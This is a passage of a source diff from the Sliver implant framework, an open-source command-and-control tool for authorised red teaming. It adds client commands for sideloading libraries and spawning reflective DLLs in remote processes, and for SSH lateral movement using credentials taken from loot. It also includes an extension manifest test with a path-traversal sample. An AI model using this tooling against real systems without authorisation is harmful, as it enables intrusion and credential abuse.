+	removed, err := con.Rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{
+		ServiceInfo: &sliverpb.ServiceInfoReq{
+			Hostname:    hostname,
+			ServiceName: serviceName,
+		},
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	removeChan <- true
+	<-removeChan
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+	if removed.Response != nil && removed.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", removed.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
+}
+
+func randomString(length int) string {
+	var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+	b := make([]byte, length)
+	for i := range b {
+		b[i] = charset[insecureRand.Intn(len(charset))]
+	}
+	return string(b)
+}

client/command/exec/sideload.go

@@ -0,0 +1,111 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// SideloadCmd - Sideload a shared library on the remote system
+func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	binPath := ctx.Args.String("filepath")
+
+	entryPoint := ctx.Flags.String("entry-point")
+	processName := ctx.Flags.String("process")
+	args := strings.Join(ctx.Args.StringList("args"), " ")
+
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s", err.Error())
+		return
+	}
+	isDLL := (filepath.Ext(binPath) == ".dll")
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
+	sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+		Request:     con.ActiveTarget.Request(ctx),
+		Args:        args,
+		Data:        binData,
+		EntryPoint:  entryPoint,
+		ProcessName: processName,
+		Kill:        !ctx.Flags.Bool("keep-alive"),
+		IsDLL:       isDLL,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %v", err)
+		return
+	}
+
+	hostname := getHostname(session, beacon)
+	if sideload.Response != nil && sideload.Response.Async {
+		con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, sideload)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSideload(sideload, hostname, ctx, con)
+		})
+		con.PrintAsyncResponse(sideload.Response)
+	} else {
+		PrintSideload(sideload, hostname, ctx, con)
+	}
+}
+
+// PrintSideload - Print the sideload command output
+func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if sideload.GetResponse().GetErr() != "" {
+		con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
+		return
+	}
+
+	var outFilePath *os.File
+	var err error
+	if ctx.Flags.Bool("save") {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	con.PrintInfof("Output:\n%s", sideload.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(sideload.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}

client/command/exec/spawndll.go

@@ -0,0 +1,89 @@
+package exec
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// SpawnDllCmd - Spawn execution of a DLL on the remote system
+func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
+	binPath := ctx.Args.String("filepath")
+	processName := ctx.Flags.String("process")
+	exportName := ctx.Flags.String("export")
+
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl)
+	spawndll, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+		Data:        binData,
+		ProcessName: processName,
+		Args:        dllArgs,
+		EntryPoint:  exportName,
+		Request:     con.ActiveTarget.Request(ctx),
+		Kill:        !ctx.Flags.Bool("keep-alive"),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	ctrl <- true
+	<-ctrl
+
+	hostname := getHostname(session, beacon)
+	if spawndll.Response != nil && spawndll.Response.Async {
+		con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, spawndll)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSpawnDll(spawndll, hostname, ctx, con)
+		})
+		con.PrintAsyncResponse(spawndll.Response)
+	} else {
+		PrintSpawnDll(spawndll, hostname, ctx, con)
+	}
+}
+
+// PrintSpawnDll - Print the SpawnDll command response
+func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if spawndll.GetResponse().GetErr() != "" {
+		con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
+		return
+	}
+
+	var outFilePath *os.File
+	var err error
+	if ctx.Flags.Bool("save") {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	con.PrintInfof("Output:\n%s", spawndll.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(spawndll.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}

client/command/exec/ssh.go

@@ -0,0 +1,126 @@
+package exec
+
+import (
+	"context"
+	"io/ioutil"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
+func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		privKey []byte
+		err     error
+	)
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	username := ctx.Flags.String("login")
+	if username == "" {
+		username = session.GetUsername()
+	}
+
+	port := ctx.Flags.Uint("port")
+	privateKeypath := ctx.Flags.String("private-key")
+	if privateKeypath != "" {
+		privKey, err = ioutil.ReadFile(privateKeypath)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	password := ctx.Flags.String("password")
+
+	hostname := ctx.Args.String("hostname")
+	command := ctx.Args.StringList("command")
+
+	if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
+		oldUsername := username
+		username, password, privKey = tryCredsFromLoot(con)
+		if username == "" {
+			username = oldUsername
+		}
+	}
+
+	sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
+		Username: username,
+		Hostname: hostname,
+		Port:     uint32(port),
+		PrivKey:  privKey,
+		Password: password,
+		Command:  strings.Join(command, " "),
+		Request:  con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if sshCmd.Response != nil && sshCmd.Response.Async {
+		con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, sshCmd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSSHCmd(sshCmd, con)
+		})
+		con.PrintAsyncResponse(sshCmd.Response)
+	} else {
+		PrintSSHCmd(sshCmd, con)
+	}
+}
+
+// PrintSSHCmd - Print the ssh command response
+func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
+	if sshCmd.Response != nil && sshCmd.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
+		if sshCmd.StdErr != "" {
+			con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
+		}
+		return
+	}
+	if sshCmd.StdOut != "" {
+		con.PrintInfof("Output:\n")
+		con.Println(sshCmd.StdOut)
+		if sshCmd.StdErr != "" {
+			con.PrintInfof("StdErr:\n")
+			con.Println(sshCmd.StdErr)
+		}
+	}
+}
+
+func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
+	var (
+		username string
+		password string
+		privKey  []byte
+	)
+	confirm := false
+	prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
+	survey.AskOne(prompt, &confirm, nil)
+	if confirm {
+		cred, err := loot.SelectCredentials(con)
+		if err != nil {
+			con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
+		} else {
+			switch cred.CredentialType {
+			case clientpb.CredentialType_API_KEY:
+				privKey = []byte(cred.Credential.APIKey)
+			case clientpb.CredentialType_USER_PASSWORD:
+				username = cred.Credential.User
+				password = cred.Credential.Password
+			}
+		}
+	}
+	return username, password, privKey
+}

client/command/execute.go

@@ -1,75 +0,0 @@
-package command
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-
-	if len(ctx.Args) < 1 {
-		fmt.Printf(Warn + "Please provide a path. See `help execute` for more info.\n")
-		return
-	}
-
-	cmdPath := ctx.Args[0]
-	var args []string
-	if len(ctx.Args) > 1 {
-		args = ctx.Args[1:]
-	}
-	output := ctx.Flags.Bool("silent")
-	token := ctx.Flags.Bool("token")
-	var exec *sliverpb.Execute
-	var err error
-	if token {
-		exec, err = rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
-			Request: ActiveSession.Request(ctx),
-			Path:    cmdPath,
-			Args:    args,
-			Output:  !output,
-		})
-	} else {
-		exec, err = rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-			Request: ActiveSession.Request(ctx),
-			Path:    cmdPath,
-			Args:    args,
-			Output:  !output,
-		})
-	}
-
-	if err != nil {
-		fmt.Printf(Warn+"%s", err)
-	} else if !output {
-		if exec.Status != 0 {
-			fmt.Printf(Warn+"Exited with status %d!\n", exec.Status)
-			if exec.Result != "" {
-				fmt.Printf(Info+"Output:\n%s\n", exec.Result)
-			}
-		} else {
-			fmt.Printf(Info+"Output:\n%s\n", exec.Result)
-		}
-	}
-}

client/command/extensions.go

@@ -1,329 +0,0 @@
-package command
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"encoding/json"
-	"fmt"
-	"io/ioutil"
-	"os"
-	"path"
-	"path/filepath"
-	"strings"
-
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/client/help"
-	"github.com/bishopfox/sliver/client/spin"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-const (
-	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
-	linuxDefaultHostProc   = "/bin/bash"
-	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
-)
-
-var commandMap map[string]extension
-var defaultHostProc = map[string]string{
-	"windows": windowsDefaultHostProc,
-	"linux":   windowsDefaultHostProc,
-	"darwin":  macosDefaultHostProc,
-}
-
-type binFiles struct {
-	Ext64Path string `json:"x64"`
-	Ext32Path string `json:"x86"`
-}
-
-type extFile struct {
-	OS    string   `json:"os"`
-	Files binFiles `json:"files"`
-}
-
-type extensionCommand struct {
-	Name           string    `json:"name"`
-	Entrypoint     string    `json:"entrypoint"`
-	Help           string    `json:"help"`
-	LongHelp       string    `json:"longHelp"`
-	AllowArgs      bool      `json:"allowArgs"`
-	DefaultArgs    string    `json:"defaultArgs"`
-	ExtensionFiles []extFile `json:"extFiles"`
-	IsReflective   bool      `json:"isReflective"`
-	IsAssembly     bool      `json:"IsAssembly"`
-}
-
-func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
-	proc, ok := defaultHostProc[targetOS]
-	if !ok {
-		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
-	}
-	return
-}
-
-type extension struct {
-	Name     string             `json:"extensionName"`
-	Commands []extensionCommand `json:"extensionCommands"`
-	Path     string
-}
-
-func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
-	for _, c := range e.Commands {
-		if cmdName == c.Name {
-			for _, ef := range c.ExtensionFiles {
-				if targetOS == ef.OS {
-					switch targetArch {
-					case "x86":
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
-					case "x64":
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
-					default:
-						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
-					}
-				}
-			}
-
-		}
-	}
-	if filePath == "" {
-		err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
-	}
-	return
-}
-
-func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
-	for _, x := range e.Commands {
-		if x.Name == name {
-			extCmd = &x
-			return
-		}
-	}
-	err = fmt.Errorf("no extension command found for name %s", name)
-	return
-}
-
-func load(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-
-	if len(ctx.Args) != 1 {
-		fmt.Printf(Warn + "Please provide an extension path\n")
-		return
-	}
-
-	// retrieve extension manifest
-	manifestPath := fmt.Sprintf("%s/%s", ctx.Args[0], "manifest.json")
-	jsonBytes, err := ioutil.ReadFile(manifestPath)
-	if err != nil {
-		fmt.Printf(Warn+"%v", err)
-	}
-	// parse it
-	ext := &extension{}
-	err = json.Unmarshal(jsonBytes, ext)
-	if err != nil {
-		fmt.Printf(Warn+"error loading extension: %v", err)
-		return
-	}
-	ext.Path = ctx.Args[0]
-	// for each extension command, add a new app command
-	for _, extCmd := range ext.Commands {
-		// do not add if the command already exists
-		if cmdExists(extCmd.Name, ctx.App) {
-			fmt.Printf(Warn+"%s command already exists\n", extCmd.Name)
-			return
-		}
-		fmt.Printf(Info+"Adding %s command: %s\n", extCmd.Name, extCmd.Help)
-
-		// Have to use a global map here, as passing the extCmd
-		// either by value or by ref fucks things up
-		commandMap[extCmd.Name] = *ext
-		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
-		ctx.App.AddCommand(&grumble.Command{
-			Name:      extCmd.Name,
-			Help:      helpMsg,
-			LongHelp:  help.FormatHelpTmpl(extCmd.LongHelp),
-			AllowArgs: extCmd.AllowArgs,
-			Run: func(extCtx *grumble.Context) error {
-				fmt.Println()
-				runExtensionCommand(extCtx, rpc)
-				fmt.Println()
-				return nil
-			},
-			Flags: func(f *grumble.Flags) {
-				if extCmd.IsAssembly {
-					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
-					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
-					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-				}
-				f.String("p", "process", "", "Path to process to host the shared object")
-				f.Bool("s", "save", false, "Save output to disk")
-				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			},
-			HelpGroup: consts.ExtensionHelpGroup,
-		})
-	}
-	fmt.Printf(Info+"%s extension has been loaded\n", ext.Name)
-}
-
-func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	session := ActiveSession.Get()
-	if session == nil {
-		return
-	}
-	ext, ok := commandMap[ctx.Command.Name]
-	if !ok {
-		fmt.Printf(Warn+"No extension command found for `%s` command\n", ctx.Command.Name)
-		return
-	}
-
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v\n", err)
-		return
-	}
-
-	c, err := ext.getCommandFromName(ctx.Command.Name)
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v\n", err)
-		return
-	}
-
-	var args string
-	if len(c.DefaultArgs) != 0 {
-		args = c.DefaultArgs
-	}
-	if ctx.Command.AllowArgs {
-		if len(ctx.Args) > 0 {
-			args = strings.Join(ctx.Args[0:], " ")
-		}
-	}
-
-	entryPoint := c.Entrypoint
-	processName := ctx.Flags.String("process")
-	if processName == "" {
-		processName, err = c.getDefaultProcess(session.GetOS())
-		if err != nil {
-			fmt.Printf(Warn+"Error: %v\n", err)
-			return
-		}
-	}
-	isDLL := false
-	if filepath.Ext(binPath) == ".dll" {
-		isDLL = true
-	}
-	binData, err := ioutil.ReadFile(binPath)
-	if err != nil {
-		fmt.Printf(Warn+"%s", err.Error())
-		return
-	}
-	var outFilePath *os.File
-	if ctx.Flags.Bool("save") {
-		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
-		outFilePath, err = ioutil.TempFile("", outFile)
-	}
-	if c.IsAssembly {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		go spin.Until(msg, ctrl)
-		executeAssemblyResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   ActiveSession.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: args,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
-		})
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			fmt.Printf(Warn+"Error: %v", err)
-			return
-		}
-		fmt.Printf(Info+"Output:\n%s", string(executeAssemblyResp.GetOutput()))
-		if outFilePath != nil {
-			outFilePath.Write(executeAssemblyResp.GetOutput())
-			fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
-		}
-	} else if c.IsReflective {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		go spin.Until(msg, ctrl)
-		spawnDllResp, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
-			Request:     ActiveSession.Request(ctx),
-			Args:        strings.Trim(args, " "),
-			Data:        binData,
-			ProcessName: processName,
-			EntryPoint:  c.Entrypoint,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			fmt.Printf(Warn+"Error: %v", err)
-			return
-		}
-
-		fmt.Printf(Info+"Output:\n%s", spawnDllResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(spawnDllResp.GetResult()))
-			fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
-		}
-	} else {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		go spin.Until(msg, ctrl)
-		sideloadResp, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-			Request:     ActiveSession.Request(ctx),
-			Args:        args,
-			Data:        binData,
-			EntryPoint:  entryPoint,
-			ProcessName: processName,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			fmt.Printf(Warn+"Error: %v", err)
-			return
-		}
-
-		fmt.Printf(Info+"Output:\n%s", sideloadResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(sideloadResp.GetResult()))
-			fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
-		}
-	}
-}
-
-func cmdExists(name string, app *grumble.App) bool {
-	for _, c := range app.Commands().All() {
-		if name == c.Name {
-			return true
-		}
-	}
-	return false
-}
-
-func init() {
-	commandMap = make(map[string]extension)
-}

client/command/extensions/README.md

@@ -0,0 +1,67 @@
+Extensions
+===========
+
+Allows to load and execute 3rd party extensions.
+
+Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
+must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
+parent directories are not allowed. Only files listed in the manifest are copied, any other files will
+be ignored.
+
+```shell
+/path/to/extension/folder/
+├── extension.json
+└── windows
+│    └── extension.x86.dll
+│    └── extension.x64.dll
+└── linux
+│    └── extension.x86.so
+│    └── extension.x64.so
+└── darwin
+     └── extension.x86.dylib
+     └── extension.x64.dylib
+```
+
+Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
+
+```json
+{
+    "name": "foo",
+    "version": "1.0.0",
+    "extension_author": "ac1d-burn",
+    "original_author": "zer0-cool",
+    "repo_url": "https://github.com/foo/bar",
+    "help": "Help for foo command",
+    "entrypoint": "RunFoo",
+    "init" :"NimMain",
+    "depends_on": "bar",
+    "files": [
+        {
+            "os": "windows",
+            "arch": "amd64",
+            "path": "extension.x64.o",
+        }
+    ],
+    "arguments": [
+        {"name": "pid", "type": "int", "desc": "pid", "optional": false},
+    ]
+}
+```
+
+The structure is the following one:
+
+- `name`: name of the extension, which will also be the name of the command in the sliver client
+- `help`: the documentation for the new command
+- `entrypoint`: the name of the exported function to call
+- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
+- `init`: the initialization function name (if relevant, can be omitted)
+- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
+- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
+
+The `type` of an argument can be one of the following:
+
+- `string`: regular ASCII string
+- `wstring`: string that will be UTF16 encoded
+- `int`: will be parsed as a 32 bit unsigned integer
+- `short`: will be parsed as a 16 bit unsigned integer
+- `file`: a string to a file path on the client side which content will be passed to the BOF

client/command/extensions/extensions.go

@@ -0,0 +1,125 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/jedib0t/go-pretty/v6/text"
+)
+
+// ExtensionsCmd - List information about installed extensions
+func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if 0 < len(getInstalledManifests()) {
+		PrintExtensions(con)
+	} else {
+		con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
+	}
+}
+
+// PrintExtensions - Print a list of loaded extensions
+func PrintExtensions(con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Command Name",
+		"Platforms",
+		"Version",
+		"Installed",
+		"Extension Author",
+		"Original Author",
+		"Repository",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
+	tw.SetColumnConfigs([]table.ColumnConfig{
+		{Number: 5, Align: text.AlignCenter},
+	})
+
+	installedManifests := getInstalledManifests()
+	for _, extension := range loadedExtensions {
+		installed := ""
+		if _, ok := installedManifests[extension.CommandName]; ok {
+			installed = "✅"
+		}
+		tw.AppendRow(table.Row{
+			extension.Name,
+			extension.CommandName,
+			strings.Join(extensionPlatforms(extension), ",\n"),
+			extension.Version,
+			installed,
+			extension.ExtensionAuthor,
+			extension.OriginalAuthor,
+			extension.RepoURL,
+		})
+	}
+	con.Println(tw.Render())
+}
+
+func extensionPlatforms(extension *ExtensionManifest) []string {
+	platforms := map[string]string{}
+	for _, entry := range extension.Files {
+		platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
+	}
+	keys := []string{}
+	for key := range platforms {
+		keys = append(keys, key)
+	}
+	return keys
+}
+
+func getInstalledManifests() map[string]*ExtensionManifest {
+	manifestPaths := assets.GetInstalledExtensionManifests()
+	installedManifests := map[string]*ExtensionManifest{}
+	for _, manifestPath := range manifestPaths {
+		data, err := ioutil.ReadFile(manifestPath)
+		if err != nil {
+			continue
+		}
+		manifest := &ExtensionManifest{}
+		err = json.Unmarshal(data, manifest)
+		if err != nil {
+			continue
+		}
+		installedManifests[manifest.CommandName] = manifest
+	}
+	return installedManifests
+}
+
+// ExtensionsCommandNameCompleter - Completer for installed extensions command names
+func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	installedManifests := getInstalledManifests()
+	results := []string{}
+	for _, manifest := range installedManifests {
+		if strings.HasPrefix(manifest.CommandName, prefix) {
+			results = append(results, manifest.CommandName)
+		}
+	}
+	return results
+}

client/command/extensions/extensions_test.go

@@ -0,0 +1,245 @@
+package extensions
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"testing"
+)
+
+const (
+	sample1 = `{
+	"name": "test1",
+	"command_name": "test1",
+	"version": "1.0.0",
+	"extension_author": "test",
+	"original_author": "test",
+	"repo_url": "https://example.com/",
+	"help": "some help",
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "foo/test1.dll"
+		}
+	]
+}`
+
+	sample2 = `{
+	"name": "test2",
+	"command_name": "test2",
+	"help": "some help",
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "../../../../foo/test1.dll"
+		}
+	]
+}`
+)
+
+func TestParseExtensionManifest(t *testing.T) {
+	extManifest, err := ParseExtensionManifest([]byte(sample1))
+	if err != nil {
+		t.Fatalf("Error parsing extension manifest: %s", err)
+	}
+	if extManifest.Name != "test1" {
+		t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
+	}
+	if extManifest.CommandName != "test1" {
+		t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
+	}
+	if extManifest.Version != "1.0.0" {
+		t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
+	}
+	if extManifest.ExtensionAuthor != "test" {
+		t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
+	}
+	if extManifest.OriginalAuthor != "test" {
+		t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
+	}
